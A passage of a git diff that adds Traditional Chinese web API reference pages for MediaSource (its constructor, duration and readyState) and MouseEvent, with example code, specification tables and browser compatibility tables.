+</span>    <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    sourceBuffer<span class="punctuation token">.</span><span class="function token">appendBuffer<span class="punctuation token">(</span></span>buf<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;
+
+...</span></code></pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">注釋</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Source Extensions', '#widl-MediaSource-duration', 'duration')}}</td>
+   <td>{{Spec2('Media Source Extensions')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="相容性表格">相容性表格</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>23</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("42.0")}}</td>
+   <td>11<sup>[2]</sup></td>
+   <td>15</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>
+    <p>{{CompatNo}}</p>
+   </td>
+   <td>{{CompatNo}}</td>
+   <td>11</td>
+   <td>30</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] 在切換 <code>about:config</code> 偏好設定 <code>media.mediasource.enabled</code> 為 <code>true</code>時可以使用。此外，支援只限於白名單內的網站，如：YouTube, Netflix, 以及其他熱門的串流網站。白名單已經被移除且 Media Source Extensions 在 42+ 對所有網站已預設為啟用。</p>
+
+<p>[2] 只在 Windows 8+ 上有效。</p>
+
+<h2 id="相關資料">相關資料</h2>
+
+<ul>
+ <li>{{domxref("SourceBuffer")}}</li>
+ <li>{{domxref("SourceBufferList")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/mediasource/index.html b/files/zh-tw/web/api/mediasource/index.html
new file mode 100644
index 0000000000..0006121f46
--- /dev/null
+++ b/files/zh-tw/web/api/mediasource/index.html
@@ -0,0 +1,144 @@
+---
+title: MediaSource
+slug: Web/API/MediaSource
+translation_of: Web/API/MediaSource
+---
+<p>{{APIRef("Media Source Extensions")}}{{SeeCompatTable}}</p>
+
+<p><a href="/en-US/docs/Web/API/Media_Source_Extensions_API">Media Source Extensions API</a> 的 <strong><code>MediaSource</code></strong> 介面代表 {{domxref("HTMLMediaElement")}} 物件的媒體資料來源。一個 <code>MediaSource</code> 物件可以被附加到一個 {{domxref("HTMLMediaElement")}} 以被用戶代理 (user agent) 播放。</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="建構子_Constructor">建構子 (Constructor)</h2>
+
+<dl>
+ <dt>{{domxref("MediaSource.MediaSource", "MediaSource()")}}</dt>
+ <dd>建構且回傳一個新的 <code>MediaSource</code> 物件但不與任何來源緩衝 (source buffers) 關聯 (associate)。</dd>
+</dl>
+
+<h2 id="屬性_Properties">屬性 (Properties)</h2>
+
+<dl>
+ <dt>{{domxref("MediaSource.sourceBuffers")}} {{readonlyInline}}</dt>
+ <dd>回傳一個含有與此 <code>MediaSource</code> 關聯的 {{domxref("SourceBuffer")}} 物件串列的 {{domxref("SourceBufferList")}} 物件。</dd>
+ <dt>{{domxref("MediaSource.activeSourceBuffers")}} {{readonlyInline}}</dt>
+ <dd>回傳一個 {{domxref("SourceBufferList")}} 物件，含有 {{domxref("SourceBuffers")}} 的子集合 {{domxref("SourceBuffer")}} 物件 — 物件的串列提供被選擇的影片軌 (video track), 啟用的音軌 (audio tracks), 以及顯示或隱藏的字軌。</dd>
+ <dt>{{domxref("MediaSource.readyState")}} {{readonlyInline}}</dt>
+ <dd>回傳一個列舉類型表示目前 <code>MediaSource</code> 的狀態：沒有附加到媒體元件 (<code>closed</code>)，已經附加且可以接收 {{domxref("SourceBuffer")}} 物件 (<code>open</code>)，已經附加但是串流已經經由 {{domxref("MediaSource.endOfStream()")}} 結束 (<code>ended</code>)。</dd>
+ <dt>{{domxref("MediaSource.duration")}}</dt>
+ <dd>取得或設置現在正被表示的媒體的時間長度。</dd>
+ <dt>
+ <h3 id="事件處理函數_Event_handlers">事件處理函數 (Event handlers)</h3>
+
+
+ </dt>
+ <dt>{{domxref("MediaSource.onsourceclose")}}</dt>
+ <dd><code>sourceclose</code> 事件的事件處理函數。</dd>
+ <dt>{{domxref("MediaSource.onsourceended")}}</dt>
+ <dd><code>sourceended</code> 事件的事件處理函數。</dd>
+ <dt>{{domxref("MediaSource.onsourceopen")}}</dt>
+ <dd><code>sourceopen</code> 事件的事件處理函數。</dd>
+</dl>
+
+<dl>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="方法_Methods">方法 (Methods)</h2>
+
+<p><em>從親介面 (parent interface) {{domxref("EventTarget")}} 繼承屬性。</em></p>
+
+<dl>
+ <dt>{{domxref("MediaSource.addSourceBuffer()")}}</dt>
+ <dd>依據指定的 MIME 類型建立一個新的 {{domxref("SourceBuffer")}} 且將其加入 <code>MediaSource</code> 的 {{domxref("SourceBuffers")}} 串列。</dd>
+ <dt>{{domxref("MediaSource.clearLiveSeekableRange()")}}</dt>
+ <dd>清除先前藉由呼叫 <code>setLiveSeekableRange()</code> 所設定的可尋找範圍。</dd>
+ <dt>{{domxref("MediaSource.endOfStream()")}}</dt>
+ <dd>示意串流的結束。</dd>
+ <dt>{{domxref("MediaSource.removeSourceBuffer()")}}</dt>
+ <dd>從與此 <code>MediaSource</code> 物件關聯的 {{domxref("SourceBuffers")}} 串列移除指定的 {{domxref("SourceBuffer")}}。</dd>
+ <dt>{{domxref("MediaSource.setLiveSeekableRange()")}}</dt>
+ <dd>設定使用者可以在媒體元素中的可尋找範圍。</dd>
+</dl>
+
+<h2 id="靜態方法_Static_methods">靜態方法 (Static methods)</h2>
+
+<dl>
+ <dt>{{domxref("MediaSource.isTypeSupported()")}}</dt>
+ <dd>回傳一個 {{domxref("Boolean")}} 值表示指定的 MIME 類型是否被現在的用戶代理支援 — 意即可否成功的為該 MIME 類型建立 {{domxref("SourceBuffer")}} 物件。</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<p>以下簡單的範例儘快的載入一個個影片塊 (chunk) 且儘快的播放。這個範例是由 Nick Desaulniers 所撰寫且可以<a href="http://nickdesaulniers.github.io/netfix/demo/bufferAll.html">在此實際觀看</a>（您也可以<a href="https://github.com/nickdesaulniers/netfix/blob/gh-pages/demo/bufferAll.html">下載原始碼</a>以更進一步研究）</p>
+
+<pre class="brush: js notranslate">var video = document.querySelector('video');
+
+var assetURL = 'frag_bunny.mp4';
+// Need to be specific for Blink regarding codecs
+// ./mp4info frag_bunny.mp4 | grep Codec
+var mimeCodec = 'video/mp4; codecs="avc1.42E01E, mp4a.40.2"';
+
+if ('MediaSource' in window &amp;&amp; MediaSource.isTypeSupported(mimeCodec)) {
+  var mediaSource = new MediaSource();
+  //console.log(mediaSource.readyState); // closed
+  video.src = URL.createObjectURL(mediaSource);
+  mediaSource.addEventListener('sourceopen', sourceOpen);
+} else {
+  console.error('Unsupported MIME type or codec: ', mimeCodec);
+}
+
+function sourceOpen (_) {
+  //console.log(this.readyState); // open
+  var mediaSource = this;
+  var sourceBuffer = mediaSource.addSourceBuffer(mimeCodec);
+  fetchAB(assetURL, function (buf) {
+    sourceBuffer.addEventListener('updateend', function (_) {
+      mediaSource.endOfStream();
+      video.play();
+      //console.log(mediaSource.readyState); // ended
+    });
+    sourceBuffer.appendBuffer(buf);
+  });
+};
+
+function fetchAB (url, cb) {
+  console.log(url);
+  var xhr = new XMLHttpRequest;
+  xhr.open('get', url);
+  xhr.responseType = 'arraybuffer';
+  xhr.onload = function () {
+    cb(xhr.response);
+  };
+  xhr.send();
+};</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註釋</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Source Extensions', '#mediasource', 'MediaSource')}}</td>
+   <td>{{Spec2('Media Source Extensions')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="相容性表格">相容性表格</h2>
+
+<div>{{Compat("api.MediaSource")}}</div>
+
+<h2 id="相關資料">相關資料</h2>
+
+<ul>
+ <li>{{domxref("SourceBuffer")}}</li>
+ <li>{{domxref("SourceBufferList")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/mediasource/mediasource/index.html b/files/zh-tw/web/api/mediasource/mediasource/index.html
new file mode 100644
index 0000000000..54e9e6dfef
--- /dev/null
+++ b/files/zh-tw/web/api/mediasource/mediasource/index.html
@@ -0,0 +1,122 @@
+---
+title: MediaSource.MediaSource()
+slug: Web/API/MediaSource/MediaSource
+translation_of: Web/API/MediaSource/MediaSource
+---
+<div>{{APIRef("Media Source Extensions")}}{{SeeCompatTable}}</div>
+
+<p>{{domxref("MediaSource")}} 介面的 <code><strong>MediaSource()</strong></code> 建構子建構且回傳一個沒有與任何來源緩衝 (source buffer) 關聯的新 <code>MediaSource</code> 物件。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush: js">var mediaSource = new MediaSource();</pre>
+
+<h3 id="參數">參數</h3>
+
+<p>無。</p>
+
+<h2 id="範例">範例</h2>
+
+<p>以下的片段擷取自 Nick Desaulniers 所編纂的簡單範例（<a href="http://nickdesaulniers.github.io/netfix/demo/bufferAll.html">觀看實際演示</a>，或者<a href="https://github.com/nickdesaulniers/netfix/blob/gh-pages/demo/bufferAll.html">下載原始碼</a> 以利更進一步研究。）</p>
+
+<pre class="brush: js">var video = document.querySelector('video');
+
+var assetURL = 'frag_bunny.mp4';
+// Need to be specific for Blink regarding codecs
+// ./mp4info frag_bunny.mp4 | grep Codec
+var mimeCodec = 'video/mp4; codecs="avc1.42E01E, mp4a.40.2"';
+
+if ('MediaSource' in window &amp;&amp; MediaSource.isTypeSupported(mimeCodec)) {
+  var mediaSource = new MediaSource;
+  //console.log(mediaSource.readyState); // closed
+  video.src = URL.createObjectURL(mediaSource);
+  mediaSource.addEventListener('sourceopen', sourceOpen);
+} else {
+  console.error('Unsupported MIME type or codec: ', mimeCodec);
+}
+
+...
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註釋</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Source Extensions', '#mediasource', 'MediaSource')}}</td>
+   <td>{{Spec2('Media Source Extensions')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="相容性表格">相容性表格</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>23</td>
+   <td>{{CompatGeckoDesktop("25.0")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("42.0")}}</td>
+   <td>11<sup>[2]</sup></td>
+   <td>15</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4.4</td>
+   <td>
+    <p>{{CompatNo}}</p>
+   </td>
+   <td>{{CompatNo}}</td>
+   <td>11</td>
+   <td>30</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] 在切換 <code>about:config</code> 偏好設定 <code>media.mediasource.enabled</code> 為 <code>true</code> 時可以使用。此外，支援只限於白名單內的網站，如：YouTube, Netflix, 以及其他熱門的串流網站。白名單已經被移除且 Media Source Extensions 在 42+ 對所有網站已預設為啟用。</p>
+
+<p>[2] 只在 Windows 8+ 上有效。</p>
+
+<h2 id="相關資料">相關資料</h2>
+
+<ul>
+ <li>{{domxref("SourceBuffer")}}</li>
+ <li>{{domxref("SourceBufferList")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/mediasource/readystate/index.html b/files/zh-tw/web/api/mediasource/readystate/index.html
new file mode 100644
index 0000000000..b7e5f1835b
--- /dev/null
+++ b/files/zh-tw/web/api/mediasource/readystate/index.html
@@ -0,0 +1,136 @@
+---
+title: MediaSource.readyState
+slug: Web/API/MediaSource/readyState
+translation_of: Web/API/MediaSource/readyState
+---
+<div>{{APIRef("Media Source Extensions")}}{{SeeCompatTable}}</div>
+
+<p>{{domxref("MediaSource")}} 介面的唯讀屬性 <code><strong>readyState</strong></code> 回傳表示當前 <code>MediaSource</code> 狀態的列舉值。三種可能的值為：</p>
+
+<ul>
+ <li><code>closed</code>: 來源 (source) 目前沒有附加到媒體元件 (media element) 。</li>
+ <li><code>open</code>: 來源已經附加且可以接收 {{domxref("SourceBuffer")}} 物件。</li>
+ <li><code>ended</code>: 來源已經附加但是串流已經經由 {{domxref("MediaSource.endOfStream()")}} 結束。</li>
+</ul>
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush: js">var myReadyState = mediaSource.readyState;</pre>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>一個 {{domxref("DOMString")}}。</p>
+
+<h2 id="範例">範例</h2>
+
+<p>以下片段是由 Nick Desaulniers 所撰寫的簡單範例（<a href="http://nickdesaulniers.github.io/netfix/demo/bufferAll.html">在此實際觀看</a>，或者<a href="https://github.com/nickdesaulniers/netfix/blob/gh-pages/demo/bufferAll.html">下載原始碼</a>以更進一步研究）</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="keyword token">if</span> <span class="punctuation token">(</span><span class="string token">'MediaSource'</span> <span class="keyword token">in</span> window <span class="operator token">&amp;&amp;</span> MediaSource<span class="punctuation token">.</span><span class="function token">isTypeSupported<span class="punctuation token">(</span></span>mimeCodec<span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> mediaSource <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">MediaSource</span><span class="punctuation token">;</span>
+ <span class="comment token"> //console.log(mediaSource.readyState); // closed
+</span>  video<span class="punctuation token">.</span>src <span class="operator token">=</span> URL<span class="punctuation token">.</span><span class="function token">createObjectURL<span class="punctuation token">(</span></span>mediaSource<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  mediaSource<span class="punctuation token">.</span><span class="function token">addEventListener<span class="punctuation token">(</span></span><span class="string token">'sourceopen'</span><span class="punctuation token">,</span> sourceOpen<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">error<span class="punctuation token">(</span></span><span class="string token">'Unsupported MIME type or codec: '</span><span class="punctuation token">,</span> mimeCodec<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">function</span> sourceOpen <span class="punctuation token">(</span>_<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="comment token"> //console.log(this.readyState); // open
+</span>  <span class="keyword token">var</span> mediaSource <span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> sourceBuffer <span class="operator token">=</span> mediaSource<span class="punctuation token">.</span><span class="function token">addSourceBuffer<span class="punctuation token">(</span></span>mimeCodec<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="function token">fetchAB<span class="punctuation token">(</span></span>assetURL<span class="punctuation token">,</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>buf<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    sourceBuffer<span class="punctuation token">.</span><span class="function token">addEventListener<span class="punctuation token">(</span></span><span class="string token">'updateend'</span><span class="punctuation token">,</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>_<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      mediaSource<span class="punctuation token">.</span><span class="function token">endOfStream<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      video<span class="punctuation token">.</span><span class="function token">play<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+     <span class="comment token"> //console.log(mediaSource.readyState); // ended
+</span>    <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    sourceBuffer<span class="punctuation token">.</span><span class="function token">appendBuffer<span class="punctuation token">(</span></span>buf<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註釋</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Source Extensions', '#widl-MediaSource-readyState', 'readyState')}}</td>
+   <td>{{Spec2('Media Source Extensions')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="相容性表格">相容性表格</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>23</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("42.0")}}</td>
+   <td>11<sup>[2]</sup></td>
+   <td>15</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>
+    <p>{{CompatNo}}</p>
+   </td>
+   <td>{{CompatNo}}</td>
+   <td>11</td>
+   <td>30</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] 在切換 <code>about:config</code> preference <code>media.mediasource.enabled</code> 為 <code>true</code> 時可以使用。此外，支援只限於白名單內的網站，如：YouTube, Netflix, 以及其他熱門的串流網站。白名單已經被移除且 Media Source Extensions 在 42+ 對所有網站已預設為啟用。</p>
+
+<p>[2] 只在 Windows 8+ 上有效。</p>
+
+<h2 id="相關資料">相關資料</h2>
+
+<ul>
+ <li>{{domxref("SourceBuffer")}}</li>
+ <li>{{domxref("SourceBufferList")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/mouseevent/index.html b/files/zh-tw/web/api/mouseevent/index.html
new file mode 100644
index 0000000000..43f2a3a26d
--- /dev/null
+++ b/files/zh-tw/web/api/mouseevent/index.html
@@ -0,0 +1,317 @@
+---
+title: MouseEvent
+slug: Web/API/MouseEvent
+translation_of: Web/API/MouseEvent
+---
+<p id="Summary">{{APIRef("DOM Events")}}</p>
+
+<p><code><strong>MouseEvent</strong></code> 介面表示了由使用者經指標裝置（如滑鼠）進行互動所發生的事件。常見的 <code>MouseEvent</code> 實作事件包括了 {{event("click")}}、{{event("dblclick")}}、{{event("mouseup")}} 與 {{event("mousedown")}}。</p>
+
+<p><code>MouseEvent</code> 繼承自 {{domxref("UIEvent")}}，而 <code>UIEvent</code> 則繼承自 {{domxref("Event")}}。雖然 {{domxref("MouseEvent.initMouseEvent()")}} 方法仍然向下相容新的瀏覽器，但現今應該使用 {{domxref("MouseEvent.MouseEvent", "MouseEvent()")}} 建構式來建立 <code>MouseEvent</code> 物件。</p>
+
+<p>另外還有一些特定的事件繼承自 <code>MouseEvent</code>：{{domxref("WheelEvent")}} 及 {{domxref("DragEvent")}}。</p>
+
+<h2 id="建構式">建構式</h2>
+
+<dl>
+ <dt>{{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}</dt>
+ <dd>建立一個 <code>MouseEvent</code> 物件。</dd>
+</dl>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>此介面也繼承了其父介面 {{domxref("UIEvent")}} 與 {{domxref("Event")}} 的屬性</em></p>
+
+<dl>
+ <dt>{{domxref("MouseEvent.altKey")}} {{readonlyinline}}</dt>
+ <dd>Returns <code>true</code> if the <kbd>alt</kbd> key was down when the mouse event was fired.</dd>
+ <dt>{{domxref("MouseEvent.button")}} {{readonlyinline}}</dt>
+ <dd>The button number that was pressed when the mouse event was fired. </dd>
+ <dt>{{domxref("MouseEvent.buttons")}} {{readonlyinline}} {{gecko_minversion_inline("15.0")}}</dt>
+ <dd>
+ <p>The buttons being pressed when the mouse event was fired</p>
+ </dd>
+ <dt>{{domxref("MouseEvent.clientX")}} {{readonlyinline}}</dt>
+ <dd>The X coordinate of the mouse pointer in local (DOM content) coordinates.</dd>
+ <dt>{{domxref("MouseEvent.clientY")}} {{readonlyinline}}</dt>
+ <dd>The Y coordinate of the mouse pointer in local (DOM content) coordinates.</dd>
+ <dt>{{domxref("MouseEvent.ctrlKey")}} {{readonlyinline}}</dt>
+ <dd>Returns <code>true</code> if the <kbd>control</kbd> key was down when the mouse event was fired.</dd>
+ <dt>{{domxref("MouseEvent.metaKey")}} {{readonlyinline}}</dt>
+ <dd>Returns <code>true</code> if the <kbd>meta</kbd> key was down when the mouse event was fired.</dd>
+ <dt>{{domxref("MouseEvent.movementX")}} {{readonlyinline}}</dt>
+ <dd>The X coordinate of the mouse pointer relative to the position of the last {{event("mousemove")}} event.</dd>
+ <dt>{{domxref("MouseEvent.movementY")}} {{readonlyinline}}</dt>
+ <dd>The Y coordinate of the mouse pointer relative to the position of the last {{event("mousemove")}} event.</dd>
+ <dt>{{domxref("MouseEvent.offsetX")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>The X coordinate of the mouse pointer relative to the position of the padding edge of the target node.</dd>
+ <dt>{{domxref("MouseEvent.offsetY")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>The Y coordinate of the mouse pointer relative to the position of the padding edge of the target node.</dd>
+ <dt>{{domxref("MouseEvent.pageX")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>The X coordinate of the mouse pointer relative to the whole document.</dd>
+ <dt>{{domxref("MouseEvent.pageY")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>The Y coordinate of the mouse pointer relative to the whole document.</dd>
+ <dt>{{domxref("MouseEvent.region")}} {{readonlyinline}}</dt>
+ <dd>Returns the id of the hit region affected by the event. If no hit region is affected, <code>null</code> is returned.</dd>
+ <dt>{{domxref("MouseEvent.relatedTarget")}} {{readonlyinline}}</dt>
+ <dd>
+ <p>The secondary target for the event, if there is one.</p>
+ </dd>
+ <dt>{{domxref("MouseEvent.screenX")}} {{readonlyinline}}</dt>
+ <dd>The X coordinate of the mouse pointer in global (screen) coordinates.</dd>
+ <dt>{{domxref("MouseEvent.screenY")}} {{readonlyinline}}</dt>
+ <dd>The Y coordinate of the mouse pointer in global (screen) coordinates.</dd>
+ <dt>{{domxref("MouseEvent.shiftKey")}} {{readonlyinline}}</dt>
+ <dd>Returns <code>true</code> if the <kbd>shift</kbd> key was down when the mouse event was fired.</dd>
+ <dt>{{domxref("MouseEvent.which")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>The button being pressed when the mouse event was fired.</dd>
+ <dt>{{domxref("MouseEvent.mozPressure")}} {{non-standard_inline()}} {{readonlyinline}}</dt>
+ <dd>The amount of pressure applied to a touch or tablet device when generating the event; this value ranges between <code>0.0</code> (minimum pressure) and <code>1.0</code> (maximum pressure).</dd>
+ <dt>{{domxref("MouseEvent.mozInputSource")}} {{non-standard_inline()}} {{readonlyinline}}</dt>
+ <dd>
+ <p>The type of device that generated the event (one of the <code>MOZ_SOURCE_*</code> constants listed below). This lets you, for example, determine whether a mouse event was generated by an actual mouse or by a touch event (which might affect the degree of accuracy with which you interpret the coordinates associated with the event).</p>
+ </dd>
+ <dt>{{domxref("MouseEvent.webkitForce")}} {{non-standard_inline()}} {{readonlyinline}}</dt>
+ <dd>The amount of pressure applied when clicking</dd>
+ <dt>{{domxref("MouseEvent.x")}} {{experimental_inline}}{{readonlyinline}}</dt>
+ <dd>Alias for {{domxref("MouseEvent.clientX")}}.</dd>
+ <dt>{{domxref("MouseEvent.y")}} {{experimental_inline}}{{readonlyinline}}</dt>
+ <dd>Alias for {{domxref("MouseEvent.clientY")}}</dd>
+</dl>
+
+<h2 id="Constants">Constants</h2>
+
+<dl>
+ <dt>{{domxref("MouseEvent.WEBKIT_FORCE_AT_MOUSE_DOWN")}} {{non-standard_inline}}{{readonlyinline}}</dt>
+ <dd>Minimum force necessary for a normal click</dd>
+ <dt>{{domxref("MouseEvent.WEBKIT_FORCE_AT_FORCE_MOUSE_DOWN")}} {{non-standard_inline}}{{readonlyinline}}</dt>
+ <dd>Minimum force necessary for a force click</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em>此介面也繼承了其父介面 {{domxref("UIEvent")}} 與 {{domxref("Event")}} 的方法</em></p>
+
+<dl>
+ <dt>{{domxref("MouseEvent.getModifierState()")}}</dt>
+ <dd>Returns the current state of the specified modifier key. See the {{domxref("KeyboardEvent.getModifierState")}}() for details.</dd>
+ <dt>{{domxref("MouseEvent.initMouseEvent()")}} {{deprecated_inline}}</dt>
+ <dd>Initializes the value of a <code>MouseEvent</code> created. If the event has already being dispatched, this method does nothing.</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<p>This example demonstrates simulating a click (that is programmatically generating a click event) on a checkbox using DOM methods. </p>
+
+<pre class="brush: js">function simulateClick() {
+  var evt = new <a href="/en-US/docs/Web/API/MouseEvent">MouseEvent</a>("click", {
+    bubbles: true,
+    cancelable: true,
+    view: window
+  });
+  var cb = document.getElementById("checkbox"); //element to click on
+  var canceled = !cb.<a href="/en-US/docs/Web/API/EventTarget.dispatchEvent" rel="internal" title="en/DOM/element.dispatchEvent">dispatchEvent</a>(evt);
+  if(canceled) {
+    // A handler called preventDefault
+    alert("canceled");
+  } else {
+    // None of the handlers called preventDefault
+    alert("not canceled");
+  }
+}
+document.getElementById("button").addEventListener('click', simulateClick);</pre>
+
+<pre class="brush: html">&lt;p&gt;&lt;label&gt;&lt;input type="checkbox" id="checkbox"&gt; Checked&lt;/label&gt;
+&lt;p&gt;&lt;button id="button"&gt;Click me&lt;/button&gt;</pre>
+
+<p>Click on the button to see how the sample works:</p>
+
+<p>{{ EmbedLiveSample('Example', '', '', '') }}</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View','#extensions-to-the-mouseevent-interface', 'MouseEvent')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Redefines <code>MouseEvent</code> from long to double. This means that a <code>PointerEvent</code> whose <code>pointerType</code> is mouse will be a double.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#dom-mouseevent-region", "MouseEvent.region")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>From {{SpecName('DOM3 Events')}}, added the <code>region</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock','#extensions-to-the-mouseevent-interface','MouseEvent')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>From {{SpecName('DOM3 Events')}}, added <code>movementX</code> and <code>movementY</code> properties.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#extensions-to-the-mouseevent-interface', 'MouseEvent')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
